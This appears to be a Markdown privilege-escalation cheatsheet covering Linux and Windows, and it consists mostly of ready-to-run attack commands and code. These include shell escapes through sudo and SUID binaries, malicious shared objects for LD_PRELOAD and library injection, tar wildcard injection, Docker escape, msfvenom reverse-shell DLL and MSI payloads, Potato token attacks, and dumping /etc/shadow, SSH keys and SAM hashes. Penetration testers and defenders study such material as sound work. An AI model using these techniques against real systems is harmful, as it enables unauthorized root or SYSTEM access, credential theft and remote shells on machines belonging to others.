539 lines
9.2 KiB
Markdown
539 lines
9.2 KiB
Markdown
# Privilege Escalation Cheatsheet
|
|
|
|
Quick reference for Linux and Windows privilege escalation techniques.
|
|
|
|
---
|
|
|
|
# Linux Privilege Escalation
|
|
|
|
## Initial Enumeration
|
|
|
|
### System Information
|
|
```bash
|
|
# Who am I?
|
|
whoami
|
|
id
|
|
|
|
# Hostname and kernel
|
|
hostname
|
|
uname -a
|
|
cat /proc/version
|
|
cat /etc/issue
|
|
|
|
# Architecture
|
|
lscpu
|
|
|
|
# Running processes
|
|
ps aux
|
|
ps aux | grep root
|
|
```
|
|
|
|
### User Enumeration
|
|
```bash
|
|
# Current user privileges
|
|
sudo -l
|
|
|
|
# List users
|
|
cat /etc/passwd
|
|
cat /etc/passwd | cut -d: -f1
|
|
|
|
# Password hashes (if readable)
|
|
cat /etc/shadow
|
|
|
|
# Groups
|
|
cat /etc/group
|
|
|
|
# Command history
|
|
history
|
|
cat ~/.bash_history
|
|
```
|
|
|
|
### Network Enumeration
|
|
```bash
|
|
# IP address
|
|
ifconfig
|
|
ip a
|
|
|
|
# Routes
|
|
ip route
|
|
route -n
|
|
|
|
# ARP table
|
|
arp -a
|
|
ip neigh
|
|
|
|
# Open ports
|
|
netstat -ano
|
|
ss -tulpn
|
|
|
|
# Active connections
|
|
netstat -antup
|
|
```
|
|
|
|
### Password Hunting
|
|
```bash
|
|
# Search for passwords
|
|
grep --color=auto -rnw '/' -ie "PASSWORD=" 2>/dev/null
|
|
grep --color=auto -rnw '/' -ie "PASS=" 2>/dev/null
|
|
|
|
# Find password files
|
|
locate password | more
|
|
find / -name "*.txt" -exec grep -l "password" {} \; 2>/dev/null
|
|
|
|
# SSH keys
|
|
find / -name authorized_keys 2>/dev/null
|
|
find / -name id_rsa 2>/dev/null
|
|
find / -name id_dsa 2>/dev/null
|
|
|
|
# Config files
|
|
find / -name "*.conf" 2>/dev/null | xargs grep -l "pass" 2>/dev/null
|
|
```
|
|
|
|
---
|
|
|
|
## Automated Tools
|
|
|
|
```bash
|
|
# LinPEAS
|
|
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
|
|
|
|
# LinEnum
|
|
./LinEnum.sh -t
|
|
|
|
# linux-exploit-suggester
|
|
./linux-exploit-suggester.sh
|
|
|
|
# pspy (process monitoring)
|
|
./pspy64
|
|
```
|
|
|
|
---
|
|
|
|
## Kernel Exploits
|
|
|
|
```bash
|
|
# Check kernel version
|
|
uname -r
|
|
uname -a
|
|
|
|
# Search for exploits
|
|
searchsploit linux kernel <version>
|
|
searchsploit linux kernel 4.4
|
|
|
|
# Common kernel exploits
|
|
# Dirty COW (CVE-2016-5195) - Linux < 4.8.3
|
|
# DirtyCred (CVE-2022-2588)
|
|
```
|
|
|
|
---
|
|
|
|
## Sudo Abuse
|
|
|
|
### Check Sudo Permissions
|
|
```bash
|
|
sudo -l
|
|
```
|
|
|
|
### GTFOBins Exploitation
|
|
```bash
|
|
# vim
|
|
sudo vim -c ':!/bin/sh'
|
|
|
|
# awk
|
|
sudo awk 'BEGIN {system("/bin/bash")}'
|
|
|
|
# find
|
|
sudo find . -exec /bin/sh \; -quit
|
|
|
|
# less/more
|
|
sudo less /etc/passwd
|
|
!/bin/sh
|
|
|
|
# nmap (old versions)
|
|
sudo nmap --interactive
|
|
!sh
|
|
|
|
# python
|
|
sudo python -c 'import os; os.system("/bin/sh")'
|
|
|
|
# perl
|
|
sudo perl -e 'exec "/bin/sh";'
|
|
|
|
# ruby
|
|
sudo ruby -e 'exec "/bin/sh"'
|
|
```
|
|
|
|
### LD_PRELOAD
|
|
```bash
|
|
# If sudo -l shows: env_keep+=LD_PRELOAD
|
|
# Create malicious shared object:
|
|
|
|
# shell.c
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <sys/types.h>
|
|
|
|
void _init() {
|
|
unsetenv("LD_PRELOAD");
|
|
setgid(0);
|
|
setuid(0);
|
|
system("/bin/bash");
|
|
}
|
|
|
|
# Compile and execute
|
|
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
|
|
sudo LD_PRELOAD=/tmp/shell.so <allowed_program>
|
|
```
|
|
|
|
### Sudo CVEs
|
|
```bash
|
|
# CVE-2019-14287 (sudo < 1.8.28)
|
|
sudo -u#-1 /bin/bash
|
|
|
|
# Baron Samedit CVE-2021-3156 (sudo 1.8.2-1.8.31p2, 1.9.0-1.9.5p1)
|
|
# Use exploit from GitHub
|
|
```
|
|
|
|
---
|
|
|
|
## SUID Binaries
|
|
|
|
### Find SUID Binaries
|
|
```bash
|
|
find / -perm -u=s -type f 2>/dev/null
|
|
find / -perm -4000 -type f 2>/dev/null
|
|
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
|
|
```
|
|
|
|
### Exploitation
|
|
```bash
|
|
# Check GTFOBins for SUID exploitation
|
|
|
|
# base64
|
|
./base64 /etc/shadow | base64 -d
|
|
|
|
# cp
|
|
./cp /etc/passwd /tmp/passwd
|
|
# modify and copy back
|
|
|
|
# find
|
|
./find . -exec /bin/sh -p \; -quit
|
|
|
|
# vim
|
|
./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
|
|
```
|
|
|
|
### Shared Object Injection
|
|
```bash
|
|
# Find SUID binary dependencies
|
|
strace /path/to/suid-binary 2>&1 | grep -i -E "open|access|no such file"
|
|
|
|
# If it loads a missing .so file from writable path:
|
|
# Create malicious .so
|
|
|
|
# libcalc.c
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
static void inject() __attribute__((constructor));
|
|
|
|
void inject() {
|
|
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
|
|
}
|
|
|
|
gcc -shared -fPIC libcalc.c -o /path/to/libcalc.so
|
|
```
|
|
|
|
---
|
|
|
|
## Capabilities
|
|
|
|
```bash
|
|
# Find binaries with capabilities
|
|
getcap -r / 2>/dev/null
|
|
|
|
# Common exploitable capabilities
|
|
# cap_setuid+ep - can change UID
|
|
|
|
# Python with cap_setuid
|
|
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
|
|
|
|
# Perl with cap_setuid
|
|
perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
|
|
```
|
|
|
|
---
|
|
|
|
## Cron Jobs
|
|
|
|
```bash
|
|
# System cron
|
|
cat /etc/crontab
|
|
ls -la /etc/cron.*
|
|
|
|
# User cron
|
|
crontab -l
|
|
|
|
# Look for:
|
|
# - Writable scripts
|
|
# - Writable paths in scripts
|
|
# - Wildcard injection opportunities
|
|
|
|
# Wildcard injection (tar)
|
|
# If cron runs: tar czf /tmp/backup.tar.gz *
|
|
echo "" > "--checkpoint=1"
|
|
echo "" > "--checkpoint-action=exec=sh shell.sh"
|
|
```
|
|
|
|
---
|
|
|
|
## NFS Root Squashing
|
|
|
|
```bash
|
|
# Check NFS exports
|
|
cat /etc/exports
|
|
showmount -e <target>
|
|
|
|
# If no_root_squash is set:
|
|
# Mount on attacker machine
|
|
mkdir /tmp/nfs
|
|
mount -o rw <target>:/share /tmp/nfs
|
|
|
|
# Create SUID binary
|
|
cp /bin/bash /tmp/nfs/bash
|
|
chmod +s /tmp/nfs/bash
|
|
|
|
# On target
|
|
/share/bash -p
|
|
```
|
|
|
|
---
|
|
|
|
## Docker Escape
|
|
|
|
```bash
|
|
# Check if in docker
|
|
cat /proc/1/cgroup | grep docker
|
|
ls -la /.dockerenv
|
|
|
|
# If user is in docker group
|
|
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
|
|
|
# If docker.sock is accessible
|
|
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh
|
|
```
|
|
|
|
---
|
|
|
|
## PATH Hijacking
|
|
|
|
```bash
|
|
# If SUID binary calls commands without full path:
|
|
# 1. Create malicious binary
|
|
echo '/bin/bash -p' > /tmp/service
|
|
chmod +x /tmp/service
|
|
|
|
# 2. Prepend PATH
|
|
export PATH=/tmp:$PATH
|
|
|
|
# 3. Run SUID binary
|
|
```
|
|
|
|
---
|
|
|
|
# Windows Privilege Escalation
|
|
|
|
## Initial Enumeration
|
|
|
|
### System Information
|
|
```cmd
|
|
systeminfo
|
|
hostname
|
|
whoami
|
|
whoami /priv
|
|
whoami /groups
|
|
net user
|
|
net user <username>
|
|
net localgroup
|
|
net localgroup administrators
|
|
```
|
|
|
|
### Network Enumeration
|
|
```cmd
|
|
ipconfig /all
|
|
route print
|
|
arp -a
|
|
netstat -ano
|
|
```
|
|
|
|
### Process/Service Enumeration
|
|
```cmd
|
|
tasklist /SVC
|
|
sc query
|
|
wmic service list brief
|
|
```
|
|
|
|
### Find Passwords
|
|
```cmd
|
|
findstr /si password *.txt *.ini *.config
|
|
reg query HKLM /f password /t REG_SZ /s
|
|
reg query HKCU /f password /t REG_SZ /s
|
|
```
|
|
|
|
---
|
|
|
|
## Automated Tools
|
|
|
|
```powershell
|
|
# WinPEAS
|
|
.\winPEAS.exe
|
|
|
|
# PowerUp
|
|
powershell -ep bypass
|
|
. .\PowerUp.ps1
|
|
Invoke-AllChecks
|
|
|
|
# windows-exploit-suggester
|
|
python windows-exploit-suggester.py --database 2024-01-01-mssb.xls --systeminfo systeminfo.txt
|
|
|
|
# Seatbelt
|
|
.\Seatbelt.exe -group=all
|
|
```
|
|
|
|
---
|
|
|
|
## Service Exploits
|
|
|
|
### Unquoted Service Paths
|
|
```cmd
|
|
# Find unquoted paths
|
|
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
|
|
|
|
# If path is: C:\Program Files\Some Service\service.exe
|
|
# Drop malicious exe at: C:\Program.exe or C:\Program Files\Some.exe
|
|
```
|
|
|
|
### Weak Service Permissions
|
|
```cmd
|
|
# Check service permissions
|
|
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
|
|
accesschk.exe /accepteula -uwcqv <username> *
|
|
|
|
# If SERVICE_CHANGE_CONFIG:
|
|
sc config <service> binpath= "C:\temp\shell.exe"
|
|
sc stop <service>
|
|
sc start <service>
|
|
```
|
|
|
|
### DLL Hijacking
|
|
```powershell
|
|
# Find DLL search order issues
|
|
# Use Process Monitor to find missing DLLs
|
|
|
|
# Create malicious DLL
|
|
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll > evil.dll
|
|
```
|
|
|
|
---
|
|
|
|
## Token Impersonation
|
|
|
|
### Check Privileges
|
|
```cmd
|
|
whoami /priv
|
|
```
|
|
|
|
### SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege
|
|
```cmd
|
|
# Potato attacks
|
|
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\temp\shell.exe" -t *
|
|
|
|
# PrintSpoofer (Windows 10/Server 2019)
|
|
.\PrintSpoofer.exe -i -c cmd
|
|
|
|
# GodPotato
|
|
.\GodPotato.exe -cmd "cmd /c whoami"
|
|
```
|
|
|
|
---
|
|
|
|
## Registry Exploits
|
|
|
|
### AlwaysInstallElevated
|
|
```cmd
|
|
# Check if enabled
|
|
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
|
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
|
|
|
# If both return 1:
|
|
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi > shell.msi
|
|
msiexec /quiet /qn /i shell.msi
|
|
```
|
|
|
|
### AutoRun
|
|
```cmd
|
|
# Check autorun locations
|
|
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
|
|
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
|
|
|
|
# Check if writable
|
|
accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program"
|
|
```
|
|
|
|
---
|
|
|
|
## Saved Credentials
|
|
|
|
```cmd
|
|
# List saved credentials
|
|
cmdkey /list
|
|
|
|
# RunAs with saved creds
|
|
runas /savecred /user:admin C:\temp\shell.exe
|
|
```
|
|
|
|
---
|
|
|
|
## SAM/SYSTEM Dump
|
|
|
|
```cmd
|
|
# If you can access:
|
|
C:\Windows\System32\config\SAM
|
|
C:\Windows\System32\config\SYSTEM
|
|
|
|
# Or backup locations:
|
|
C:\Windows\Repair\SAM
|
|
C:\Windows\Repair\SYSTEM
|
|
|
|
# Extract hashes
|
|
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
|
|
```
|
|
|
|
---
|
|
|
|
## Kernel Exploits
|
|
|
|
```cmd
|
|
# Check Windows version
|
|
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
|
|
|
|
# Common exploits
|
|
# MS16-032 (Secondary Logon Handle)
|
|
# MS17-010 (EternalBlue)
|
|
```
|
|
|
|
---
|
|
|
|
## Resources
|
|
|
|
### Linux
|
|
- [GTFOBins](https://gtfobins.github.io/)
|
|
- [LinPEAS](https://github.com/carlospolop/PEASS-ng)
|
|
- [PayloadsAllTheThings - Linux PrivEsc](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md)
|
|
- [HackTricks - Linux PrivEsc](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)
|
|
|
|
### Windows
|
|
- [LOLBAS](https://lolbas-project.github.io/)
|
|
- [WinPEAS](https://github.com/carlospolop/PEASS-ng)
|
|
- [PayloadsAllTheThings - Windows PrivEsc](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
|
|
- [HackTricks - Windows PrivEsc](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)
|